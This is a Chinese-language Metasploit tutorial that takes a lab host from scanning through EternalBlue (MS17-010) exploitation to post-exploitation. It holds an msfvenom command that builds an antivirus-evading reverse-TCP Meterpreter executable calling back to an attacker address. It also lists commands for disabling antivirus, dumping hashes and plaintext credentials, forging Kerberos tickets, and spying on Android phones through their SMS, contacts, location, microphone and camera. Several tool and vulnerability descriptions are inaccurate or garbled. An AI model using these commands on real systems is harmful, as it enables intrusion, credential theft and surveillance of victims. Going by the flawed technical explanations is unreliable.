MSF是Metasploit Framework的缩写,是一款广泛使用的渗透测试工具,具有强大的攻击功能。它提供了一个模块化的平台,通过将各种攻击载荷、漏洞利用和辅助工具组装在一起,可用于模拟各种攻击,测试系统安全性,也可以用于执行红队实战训练、漏洞挖掘等工作。
(一)msf的七个模块
msf有七个核心模块,各自的作用:
Payloads (载荷模块):这个模块提供了一系列的攻击载荷,可用于在攻击目标机器成功后执行恶意代码。其中一些载荷允许攻击者获得对操作系统的完全控制权。
Exploits (漏洞利用模块):这个模块包含了大量的漏洞利用,它们利用常见的操作系统漏洞,例如操作系统的缓冲区溢出漏洞、SQL注入漏洞等,并利用这些漏洞来实现针对目标机器攻击。
Auxiliary (辅助模块):这个模块包含了许多辅助工具,用于执行攻击相关的非攻击性任务,比如扫描网络、收集操作系统信息、绕过防御机制等。
Enc (编码器模块):这个模块包含了一些编码/加密工具,用于加密Metasploit的恶意代码,从而绕过某些防御机制,例如杀毒软件的检测。
Nops (空指令模块):这个模块含有空指令的代码,它们可以用于在攻击载荷中添加无操作的代码,以帮助攻击者在攻击时防止因为代码长度不是4的倍数而被截断。
Post (后渗透模块):这个块提供了一些有关渗透后行动的工具,它允许攻击者在成功入侵目标计算机后进行大规模的系统和应用程序扫描、查找敏感数据、执行进一步的攻击等操作。
Shellcodes (Shellcode模块):这个模块包含各种使用进程内存空间完成某些操作的Shellcode,如打开一个bind全一的口监听、执行一个程序等。这个模块的对象和开发shellcode工具类似。
可以在kali的/usr/share/metasploit-framework/modules目录中看到
想要查看模块里面具体信息,可以通过search +模块名命令进行查看。
例如查看利用漏洞模块Exploits的具体模块:search exploits
可以看到,exploits漏洞利用模块中含有一千九百多个漏洞利用模块。这是非常多的。可以根据里面的不同的模块对对于的漏洞进行操作。
(二)常用命令与参数:
MSF 是一款安全渗透测试框架,其功能包括漏洞扫描、漏洞利用、反向连接和负载生成等。它是一个功能强大的平台,包含数百个模块和载荷,可用于各种不同类型的安全渗透测试任务。在msf下又有许多的工具,常用到的工具如下:
- msfconsole:MSF 的命令行控制台,用于启动和控制整个框架。
- msfvenom:用于生成和编码各种类型的负载,包括反向连接、Meterpreter 等。
- msfdb:MSF 的数据库管理工具,用于存储和管理各种模块、主机、服务和漏洞等信息。
- msfcli:一个简单的命令行客户端,用于执行指定的模块和命令。
- Armitage:MSF 的图形用户界面 (GUI),通过可视化界面提供了更方便的渗透测试操作和数据分析功能,包括任务追踪、漏洞管理、报告生成等。
1、msfconsole(MSF 的命令行控制台)
-h:显示所有可用的参数和选项;
-p:指定要使用的端口;
-r:指定要执行的脚本文件;
-q:启动静默模式,不输出任何提示或信息;
-n:禁用颜色和ASCII图形输出;
-x:执行指定的命令或脚本,并退出控制台;
-L:列出所有可用的模块和插件;
-f:指定输出格式,可以是console、json、raw等。
2、msfvenom:(生成和编码各种类型的负载)
- -p:指定生成负载的类型或程序,如Windows恶意软件、Linux恶意软件、Mac恶意软件等;
- -f指定输出格式,类型是exe、dll、apk、python、ruby等;
- -e:指定负载编码,例如Base64、URL、Shikata-ga-nai等;
- -o:指定输出文件的路径和名称
- -i:设置生成缓慢速度(产生更好的结果);
- -b:指定要忽略的字符集,以“/”分隔多个字符集;
- -a:指定架构(处理器架构)类型,例如x86、x64、arm等;
- -t:指定存活时间单位为秒;
- –platform:指定目标操作系统类型,如Windows、Linux、Android、iOS等。
3、Meterpreter:用来实现控制已被攻破目标主机并执行各种操作的功能
Meterpreter可以实现的功能有:
提供一个交互式Shell:Meterpreter可以通过Metasploit框架的控制台提供一个交互式Shell,使攻击者可以通过命令行与被攻破主机进行交互。
文件上传与下载:Meterpreter可以直接在受害主机与攻击者之间传递文件,并且可以控制文件的读写和执行权限。
信息收集与漏洞扫描:Meterpreter可以通过Shell脚本对目标主机进行信息收集和漏洞扫描,包括获取系统信息、端口扫描、Web应用程序扫描等。
端口转发和代理:Meterpreter可以通过建立端口转发和代理服务,使攻击者可以继续深入到网络内部进行渗透测试。
应用程序执行和控制:Meterpreter可以通过应用程序加载插件,从而控制应用程序的执行。
基础命令:
help:查看可用的命令列表。
sysinfo:显示目标系统的基本信息。
shell:进入交互式Shell。
cd:改变目录。
pwd:显示当前所在目录。
ls:显示目录内容。
upload:上传文件。
download:下载文件。
portfwd:建立端口转发。
screenshot:获取远程主机的屏幕截图。
getpid:获取当前进程ID。
ps:显示当前运行的进程列表。
migrate:转移当前Meterpreter进程到指定的进程ID中,让攻击者控制器进程更隐蔽。
execute:在目标主机中执行指定的命令和程序。
search:在目标主机上进行文件搜索。
getuid:显示当前用户的权限信息。
(三)、msfconsole漏洞利用
利用之前,需要先确定好目标主机
1、情报收集:发现存活主机
可用于发现主机的模块:
auxiliary/scanner/discovery/arp_sweep # 基于ARP发现内网存活主机
auxiliary/scanner/discovery/udp_sweep # 基于UDP发现内网存活主机
auxiliary/scanner/ftp/ftp_version # 发现FTP服务
auxiliary/scanner/http/http_version # 发现HTTP服务
auxiliary/scanner/smb/smb_version # 基于smb发现内网存活主机
此外可以利用search scanner type:auxiliary 查看所有扫描模块
利用 UDP发现内网存活主机:
msf6 > use auxiliary/scanner/discovery/udp_sweep #使用udp扫描模块
msf6 auxiliary(scanner/discovery/udp_sweep) > options #查看所有配置可以看到利用 udp扫描模块扫描存活主机时候,有三个参数需要配置,其中有两个参数已经有默认值了,还有一个参数rhosts还没有值,rhosts参数,就是我们本次要扫描的对象ip,
msf6 auxiliary(scanner/discovery/udp_sweep) > set rhosts 192.168.23.0/24
rhosts => 192.168.23.0/24
msf6 auxiliary(scanner/discovery/udp_sweep) > run当设置rhosts 为整个网段的ip时候,发现我们的目标主机,发现是存在的
2 、威胁建模
威胁建模是,扫描通过扫描的信息,发现目标主机开启的服务,根据不同的服务,存在的漏洞大小对比,比较哪一服务的漏洞,比较容易能够较为容易的被我们所利用
利用udp扫描模块:
msf6 auxiliary(scanner/discovery/udp_sweep) > set rhosts 192.168.23.14
rhosts => 192.168.23.14
msf6 auxiliary(scanner/discovery/udp_sweep) > run
通过扫描发现,目标主机开启netbios服务
利用smb模块扫描,也发现目标主机也开启smb服务,可以看到
3 、漏洞分析
漏洞分析,根据已经确定的服务,对该服务进行漏洞扫描,本次确定是smb服务,所以,我们接下来要对smb服务进行漏洞扫描
通过查询smb,找到的漏洞有:
MS17-010漏洞:该漏洞存在于微软SMBv1协议的实现中,攻击者可以无需身份验证直接发送恶意数据包导致远程代码执行,影响版本包括Windows Vista到Windows Server 2016等所有的Windows版本。
CVE-2018-0802漏洞:该漏洞存在于微软Office中的公式编辑器中,攻击者可以构造恶意Office文档,通过SMB协议传播该文档,从而利用该漏洞进行远程代码执行。
CVE-2020-0796漏洞:该漏洞存在于Windows 10和Windows Server 2016/2019的SMBv3协议中,攻击者可以利用该漏洞执行远程代码,通过运用SMBv3协议中的漏洞粘合攻击,可对整个网络造成威胁。
CVE-2019-0708漏洞:该漏洞存在于Windows Remote Desktop服务的RDP协议中,攻击者可以利用该漏洞进行远程执行代码,从而实现对远程服务器进行非法控制的攻击行为。
我们利用MS17-010漏洞(永恒之蓝),进行查看,查看是否可以利用这个漏洞
1、查询msf与永恒之蓝相关的模块:search ms17_010
我们查询到有四个模块可以利用,前面两个是exploit(漏洞利用模块),后两个是auxiliary(辅助模块)
2、利用辅助模块进行扫描
扫描之后,发现目标主机可能是存在永恒之蓝的漏洞
4、 漏洞利用
前面,我们通过分析和扫描,发现目标主机是可能存在永恒之蓝漏洞,接下来,我们尝试对该漏洞进行利用,而且我们在前面的时候,漏洞永恒之蓝MS17-010搜索的时候,发现,有永恒之蓝的漏洞利用模块
方式一:利用漏洞利用模块进行漏洞利用
漏洞利用成功
方式二:利用注入木马进行漏洞利用
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp
LHOST=192.168.3.33 LPORT=4444 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 10 -f exe -o payload.exe
-a:指定payload的目标架构-p:指定需要使用的payload(攻击荷载),LHOST是攻击机ip,LPORT是攻击端口
-e:指定需要使用的encoder(编码器)编码免杀
-b:设定规避字符集,比如: '\x00\xff'避免使用的字符
-i:指定payload的编码次数
-f:指定输出格式
5 、后渗透利用
到了这一步,就是干我们要干的事情了(违法的事,不能做,做个好白帽)
下面是一些命令演示
针对安卓手机的一些命令:
获取手机通讯录: dump_contacts
获取短信记录:dump_sms
控制实验手机发短信:send_sms -d 15330252525 -t "hello"
获取实验手机GPS定位信息:geolocate
获取实验手机Wi-Fi定位信息:wlan_geolocate
控制实验手机录音:record_mic -d 5
获取实验手机相机设备:webcam_list
控制实验手机拍照 :webcam_snap
直播实验手机摄像头:webcam_stream
针对针对Windows的一些命令
查看进程:ps
查看当前进程号:getpid
查看系统信息:sysinfo
查看目标机是否为虚拟机:run post/windows/gather/checkvm
查看完整网络设置:route
查看当前权限:getuid
自动提权:getsystem
关闭杀毒软件:run post/windows/manage/killav
启动远程桌面协议:run post/windows/manage/enable_rdp
列举当前登录的用户:run post/windows/gather/enum_logged_on_users
查看当前应用程序:run post/windows/gather/enum_applications
抓取目标机的屏幕截图:load espia ; screengrab
获取相机设备:webcam_list
控制拍照 :webcam_snap
直播摄像头:webcam_stream
控制录音:record_mic
查看当前处于目标机的那个目录:pwd
查看当前目录:getlwd
导出当前用户密码哈希 run hashdump
用户名:SID:LM哈希:NTLM哈希:::
也可以使用下面这个命令导出 权限更高 run windows/gather/smart_hashdump
抓取自动登录的用户名和密码 run windows/gather/credentials/windows_autologin
直接获取明文密码(注意这个功能需要获取系统权限 获取系统权限需要输入getsystem)
首选终端输入 load kiwi 加载kiwi
creds_all:列举所有凭据
creds_kerberos:列举所有kerberos凭据
creds_msv:列举所有msv凭据
creds_ssp:列举所有ssp凭据
creds_tspkg:列举所有tspkg凭据
creds_wdigest:列举所有wdigest凭据
dcsync:通过DCSync检索用户帐户信息
dcsync_ntlm:通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create:创建黄金票据
kerberos_ticket_list:列举kerberos票据
kerberos_ticket_purge:清除kerberos票据
kerberos_ticket_use:使用kerberos票据
kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令
lsa_dump_sam:dump出lsa的SAM
lsa_dump_secrets:dump出lsa的密文
password_change:修改密码
wifi_list:列出当前用户的wifi配置文件
wifi_list_shared:列出共享wifi配置文件/编码
文件系统的命令
cat c:\boot.ini #查看文件内容,文件必须存在
del c:\boot.ini #删除指定的文件
upload /root/Desktop/netcat.exe c:\ # 上传文件到目标机主上,如upload setup.exe
C:\windows\system32 download nimeia.txt /root/Desktop/ # 下载文件到本机上如:download C:\boot.ini /root/或者download C:\"ProgramFiles"\Tencent\QQ\Users\295**125\Msg2.0.db /root/
edit c:\boot.ini # 编辑文件
getlwd #打印本地目录
getwd #打印工作目录
lcd #更改本地目录
ls #列出在当前目录中的文件列表
lpwd #打印本地目录
pwd #输出工作目录
cd c:\ #进入目录文件下
rm file #删除文件
mkdir dier #在受害者系统上的创建目录
rmdir #受害者系统上删除目录
dir #列出目标主机的文件和文件夹信息
mv #修改目标主机上的文件名 search -d d:\www -f web.config #search 文件,如search -d c:\ -f.doc meterpreter > search -f autoexec.bat #搜索文件 meterpreter > search -f sea.bat c:\xamp\
enumdesktops #用户登录数
6 、报告阶段
这个阶段主要是对本次渗透进行总结,概述总体上包括 时间、人员、漏洞利用范围、技术手段等等。我们需要在这部分确定漏洞利用执行的时间范围、参与漏洞利用的人员及联系方式、约定的漏洞利用范围和一些漏洞利用过程中采用的技术、工具描述。写清 前期交互 情报搜集 威胁建模 漏洞分析 .渗透利用 后渗透利用 漏洞利用结果 安全建议 等内容